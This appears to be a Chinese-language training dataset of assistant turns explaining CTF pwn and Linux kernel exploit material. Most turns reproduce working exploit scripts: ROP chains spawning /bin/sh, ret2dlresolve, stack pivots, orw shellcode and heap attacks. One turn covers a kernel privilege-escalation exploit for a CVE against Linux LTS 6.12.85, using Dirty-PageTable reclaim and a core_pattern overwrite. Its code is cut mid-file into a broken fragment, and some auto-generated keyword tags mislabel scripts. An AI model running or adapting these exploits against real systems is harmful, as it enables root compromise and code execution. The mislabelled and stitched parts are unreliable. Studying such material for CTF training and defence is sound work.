[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2syscall/x86/bamboofox-ret2syscall/exploit.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x80be408`, `0x08049421`, `0x0806eb90`, `0x080bb196`

训练用代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()

io=gift["io"]
elf=gift["elf"]

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
sh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0,sh, int_0x80])
sl(payload)
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「4. fortune 上布置 shellcode + wide_data」。
资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 4. fortune 上布置 shellcode + wide_data
orw  = shellcraft.openat(0, "/flag\x00")
orw += shellcraft.sendfile(1, 3, 0, 0x100)
shellcode = asm(orw)

wide_data  = b"\x00"
wide_data  = wide_data.ljust(0x68, b"\x00")
wide_data += p64(fortune)
wide_data  = wide_data.ljust(0xe0, b"\x00")
wide_data += p64(fortune + 0x200)

p.sendline(str(4))
p.sendline(b"74r0t#C@rd")
p.send(shellcode.ljust(0x200, b"\x90") + wide_data)
sleep(0.1)

IO-FILE/house of apple2/2024ylb futureheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2024ylb-canary/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2024ylb-canary/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x84420`, `0x40101a`, `0x40123d`, `0x40133F`, `0x4013e3`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc=ELF("./libc-2.31.so")
context(os=elf.os, arch=elf.arch, log_level='debug')

stack_check_fail = elf.got['__stack_chk_fail']
pop_rdi_ret = 0x4013e3
ret = 0x40101a
my_read=0x40133F
gift=0x40123d

sla(b'functions?', b'0')
pay = p64(stack_check_fail) + p64(my_read)
s(pay)

s(p64(gift))
# dbg()
pay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)
s(pay)
s(b"a")

leak=l64()
lg('puts_leak', leak)
libc.address = leak - 0x84420
lg('libc_base', libc.address)

sh = libc.search(b'/bin/sh\x00').__next__()
pay = b'a'*0x48 + p64(pop_rdi_ret) + p64(sh)+ p64(ret) + p64(libc.sym.system)
s(pay)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「show」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### show

```c
printf("the data:");
for (int i = 0; i <= 6; i++) {
    out = ptr[i] ^ (0x99 + i);
    write(1, &out, 1);
}
```

`show` 会输出 `ptr` 开始的 7 字节，但每个字节都异或了 `0x99+i`。因此泄露时需要逐字节还原：

```python
leak += (byte ^ (0x99 + i)) << (8 * i)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「largebin attack #1：劫持 stderr」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## largebin attack #1：劫持 stderr

释放承载 fake FILE 的 large chunk 后，用 UAF `edit(0)` 修改其 metadata：

```python
edit(0,
    p64(libc_base + 0x21a0d0) * 2 +
    p64(heap_base + 0x290) +
    p64(stderr - 0x20)
)
add(5, 0x440, b'aaaaa')
```

这一步利用 largebin unlink/insert 过程中的写入，把 `stderr` 改成 fake `_IO_FILE` 的堆地址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Reclaiming the dangling page as a leaf PTE page」。
资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Reclaiming the dangling page as a leaf PTE page

The exploit is pinned to CPU 0 so the skb grooming, page free, and page-table
allocation use the same CPU-local allocator state. Before dropping the holding
references, it reserves a 3 GiB anonymous mapping, aligns a 2 GiB working
window to a 1 GiB boundary, and marks the mapping `MADV_NOHUGEPAGE`. One page
in each GiB is touched to populate the upper page-table levels without
allocating the leaf page used by the reclaim attempt.

After the source page's refcount reaches zero, the exploit faults 31 pages at
4 KiB intervals beginning 2 MiB into the aligned window. These faults require
a fresh order-0 leaf PTE page. If the allocator returns the recently freed
pipe page, the stale `wp` buffer and the page-table walker now refer to the
same physical page.

The source pipe originally covered 256 bytes filled with `0x41`. Reading
31 PTE-sized values, or 248 bytes, through the stale pipe checks the reclaim:

- If all 248 bytes are still `0x41`, the selected page was not reused as the
  leaf page table.
- If the bytes changed and at least one entry is present with a plausible
  physical address, the pipe is exposing the new PTE page.

The 248-byte read also advances the pipe buffer to offset 248 with eight bytes
remaining. The exploit then appends eight known-good PTE values. Because the
buffer retains `PIPE_BUF_FLAG_CAN_MERGE`, those 64 bytes are written at page
offsets 256 through 319, corresponding to PTE slots 32 through 39. The next
pipe write therefore begins at PTE slot 40, beyond the 31 entries keeping the
reclaim mapping alive.

If the small-head reuse or page-table reclaim does not occur, the exploit does
not retry in-process. It pauses instead of unmapping or closing the stale
objects, avoiding unsafe teardown after a partially successful attempt.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「BROP」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## BROP

BROP（Blind ROP）在 CTF WIKI 中被归类为中级 ROP，通常我简称为盲打，因为是在没有对应程序的源代码或者二进制文件下，对程序进行攻击，劫持程序的执行流。

**攻击条件**

1. 源程序必须存在栈溢出漏洞，以便于攻击者可以控制程序流程。
2. 服务器端的进程在崩溃之后会重新启动，并且重新启动的进程的地址与先前的地址一样（这也就是说即使程序有ASLR 保护，但是其只是在程序最初启动的时候有效果）。目前 nginx，MySql，Apache，OpenSHH 等服务器程序都是符合这种特性的。

**攻击原理**

目前，大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护，以及如何进行攻击。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「tcache机制」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## tcache机制

`tcache` 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术，目的是提升堆管理的性能，与`fast bin`类似。`tcache` 引入了两个新的结构体，`tcache_entry` 和 `tcache_perthread_struct` 。

`tcache_entry` 定义如下：

```c
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;
```

`tcache_entry` 用于链接空闲的`chunk`结构体，其中的`next`指针指向下一个大小相同的`chunk`。需要注意的是这里的`next`指向`chunk`的`user data`，而`fast bin`的`fd`指向`chunk`开头的地址。而且，`tcache_entry` 会复用空闲 `chunk` 的`user data`部分。

`tcache_perthread_struct` 定义如下：

```c
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc2_64.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `makecall`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x112`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x3c5720`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`, `0x600ea8`, `0x600eb8`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bof'
offset = 112
length = 0x100
stack_size = 0x800
main_addr=0x400676
p6_addr=0x4007AA
call_addr=0x400790
leave_ret=0x4006ab
p_rbp_ret=0x4005e0
p_rdi_ret=0x4007b3

elf = ELF(fpath)
write_got=elf.got['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

#x/100xw  GOT[8]
fake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=0x8eb46-0x20740
fake_r_offset=0x3c5720-0x20740   #这里是为了使l_addr+r_offset指向可写的地址
val_0x68=base_stage+0xc0-8    #0x600ea8
val_0x70=base_stage+0xc0-8    #0x600eb8
val_0xf8=base_stage+0xc0-8    #0x600f28
wait_time=0.1

def makecall(addr, rdi, rsi, rdx, tail = 0):
    payload = ''
    payload += p64(p6_addr)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(call_addr)
    if (tail):
        payload += p64(0x0) * 7 + p64(tail)
    return payload

p = process(fpath)
print p.recv()        # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)

#4.bss数据：rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_0 = 0x400510 # objdump -d -j .plt bof
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0)   #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map)   #
payload2 += p64(index)       #jmprel 下标参数
payload2 += 'AAAAAAAA'       #返回地址
#payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

gdb.attach(p,'b *0x4006ab')
raw_input('wait!!\n')
p.send(payload2)
p.interactive()

#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret
#>>> hex(elf.symbols['__libc_start_main'])
#'0x20740'
#0x8eb46-0x20740=0x6E406

#lib_bss_addr=0x3c5720
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/不泄露地址执行onegadget/exploit.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `makecall`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x112`, `0x800`, `0x20740`, `0x4526a`, `0xf02a4`, `0xf1147`, `0x3c5720`, `0x400676`, `0x400760`, `0x40077A`, `0x600ea8`, `0x600eb8`, `0x600f28`, `0x601008`, `0x0000000000400520`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bstack'
offset = 0x70
length = 0x100
stack_size = 0x800
main_addr=0x400676
p6_addr=0x40077A
call_addr=0x400760
leave_ret=0x00000000004006AB
p_rbp_ret=0x00000000004005e0
p_rdi_ret=0x0000000000400783

elf = ELF(fpath)
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

#x/100xw  GOT[8]
fake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=0x4526a-0x20740    #0x4526a   0xf02a4     0xf1147
fake_r_offset=0x3c5720-0x20740
val_0x68=base_stage+0xc0-8    #0x600ea8
val_0x70=base_stage+0xc0-8    #0x600eb8
val_0xf8=base_stage+0xc0-8    #0x600f28
wait_time=0.1

def makecall(addr, rdi, rsi, rdx, tail = 0):
    payload = ''
    payload += p64(p6_addr)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(call_addr)
    if (tail):
        payload += p64(0x0) * 7 + p64(tail)
    return payload

p = process(fpath)
#print p.recv()        # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)

#4.bss数据：rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_0 = 0x0000000000400520 # objdump -d -j .plt bof
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = p64(0)#'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0)   #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map)   #
payload2 += p64(index)       #jmprel 下标参数
payload2 += p64(0)       #返回地址

payload2 = payload2.ljust(index_offset-base_stage,'\x00')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00')
payload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

p.send(payload2)
p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/2024ylb-ezstack3/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/2024ylb-ezstack3/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

关键常量/偏移样例：
`0x08049324`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()
s(b"a"*47+b"c")
ru("c")

ebp=u32(r(4))-16

payload=(b"a"*4+p32(elf.plt.system)+p32(0)+p32(ebp-32)+b"/bin/sh\x00").ljust(0x30,b'\x00')+p32(ebp-48)+p32(0x08049324)

r()
s(payload)
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「4. 新 Dirty-PageTable 探针结果」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 4. 新 Dirty-PageTable 探针结果

新增 `xcache_probe pte-realloc-scan`：

```text
alloc used slots
free used slots once
spray PTE pages
second-free stale d3k slots
scan PTE pages
fresh alloc unused d3k slots to trigger init_on_alloc
scan again
```

结果：

- `used=256/320, spray=128`：second-free 后 PTE scan 仍 `faults=0 mismatch=0`，但 fresh alloc 进入 `kmem_cache_alloc_noprof+0x252` 并因 non-canonical freelist pointer panic；
- `used=384` 某些运行可完整跑完且 PTE scan 正常，说明命中窗口受 page allocator 布局影响。

这比早期 `targeted-scan` 更强：已经证明 stale free 能把非正常对象页挂进 d3k cache freelist，但还没把它转化成可控 PTE 写。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. 泄露 heap base」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 1. 泄露 heap base

先申请并释放一个 `0x50` chunk：

```python
add(1, 0x50)
dele()
show()
```

释放进 tcache 后，chunk user data 起始处保存 encoded `fd`。由于第一个 tcache chunk 的 `fd` 指向 NULL，safe-linking 后泄露值近似为：

```text
heap_base >> 12
```

但程序 `show` 对每字节做了异或，所以需要还原：

```python
heap_addr = 0
for i in range(5):
    val = u8(r(1))
    heap_addr += (val ^ (0x99+i)) * 0x100**i
heap_addr = heap_addr * 0x1000
```

这样得到 `heap_base`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Arbitrary Alloc」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Arbitrary Alloc

一般针对 Arbitrary Alloc，我们使用字节错误来实现直接分配 fastbin 到`_malloc_hook`的位置，相当于覆盖`_malloc_hook`来控制程序流程。

`_malloc_hook`附近会存在一个通过错位造成合法的fake_chunk，可以使用此chunk来修改`_malloc_hook`为one_geaget来getshell。

此处的 fake_chunk 的size是0x7f，需要分配 0x60 的大小才可以。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c`

分类：kernel

语言：c

环境/依赖线索：
- `#include <arpa/inet.h>`
- `#include <errno.h>`
- `#include <fcntl.h>`
- `#include <linux/udp.h>`
- `#include <netinet/in.h>`
- `#include <sched.h>`
- `#include <signal.h>`
- `#include <stdint.h>`
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <string.h>`
- `#include <sys/mman.h>`
- `#include <sys/prctl.h>`
- `#include <sys/resource.h>`
- `#include <sys/socket.h>`
- `#include <sys/syscall.h>`

函数/封装：
- `die`
- `find_core_pattern_phys`
- `full_tlb_flush`
- `helper_main`
- `install_dirty_pagetable_from_pipe`
- `looks_like_leaf_pte`
- `main`
- `make_udp6_socket`
- `overwrite_core_pattern`
- `pin_cpu`
- `prepare_core_helper`
- `prepare_pt_reclaim_area`
- `prepare_stale_frag_descriptors`
- `read_current_core_pattern`
- `run_core_pattern_payload`
- `set_srh_len`
- `setup_kernelxdk_database`
- `setup_target_data`
- `stop_here`
- `trigger_ipv6_frag_unref`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0xfff`, `0x1000`, `0x1337`, `0x1000000`, `0x4611740`, `0x000000000`, `0x0c0000000`, `0x100000000`, `0x120000000`, `0x130000000`, `0x000ffffffffff000`

训练用代码片段：
```c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <xdk/core.h>

INCBIN(target_db, "target_db.kxdb");

#ifndef IPV6_MTU
#define IPV6_MTU 24
#endif
#ifndef IPV6_MTU_DISCOVER
#define IPV6_MTU_DISCOVER 23
#endif
#ifndef IPV6_PMTUDISC_DONT
#define IPV6_PMTUDISC_DONT 0
#endif
#ifndef UDP_CORK
#define UDP_CORK 1
#endif
#ifndef SPLICE_F_MORE
#define SPLICE_F_MORE 4
#endif
#ifndef SYS_memfd_create
#define SYS_memfd_create 319
#endif
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif

#define PAGE_SIZE_4K 0x1000UL
#define PTE_PADDR_MASK 0x000ffffffffff000UL

#define IPV6_EXT_LEN 320
#define TARGET_MTU 1287
#define FIRST_SPLICE_LEN 919
#define SECOND_SPLICE_LEN 20
#define SHINFO_INBUF_OFF 904
#define PIPE_PAGE_BYTES 256
#define STALE_FRAGS 1
#define HOLD_PIPES 8
#define GROOM_FIRST_PAGED_BYTES 904
#define GROOM_TARGET_PAGED_BYTES 912
#define GROOM_TARGET_HEADS 16

#define VR_GB_COUNT 2UL
#define VR_ALIGN (1UL << 30)
#define VR_STRIDE (2UL << 20)
#define SLOT_BASE 40
#define SLOT_LIMIT 505

#define CORE_PATTERN_MAX 128
#define MAX_REASONABLE_PHYS 0x130000000ULL
#define PHYS_SCAN_LOW_START 0x000000000ULL
#define PHYS_SCAN_LOW_END 0x0c0000000ULL
#define PHYS_SCAN_HIGH_START 0x100000000ULL
#define PHYS_SCAN_HIGH_END 0x120000000ULL

#define FRAGGAP_TARGET_DISTRO "kernelctf"
#define FRAGGAP_TARGET_RELEASE "lts-6.12.85"
#define CORE_PATTERN_LINK_SYMBOL "fraggap_core_pattern_link_phys"
#define PHYS_KASLR_ALIGN_SYMBOL "fraggap_physical_kaslr_align"

static void die(const char *what)
{
    fprintf(stderr, "[-] %s failed: errno=%d (%s)\n", what, errno, strerror(errno));
    exit(1);
}

# ... 中间内容省略，保留关键利用片段 ...

    mprotect(win.scratch, win.scratch_len, PROT_READ);
    mprotect(win.scratch, win.scratch_len, PROT_READ | PROT_WRITE);
     * 320-byte SRH uses kmalloc-512 and the first trigger head uses
     * kmalloc-1k, so the second splice reuses a groomed target head.
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「House of Cat」。
资料来源：IO-FILE/house of cat/readme.md；主题：house of cat；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### House of Cat

Glibc 2.35+

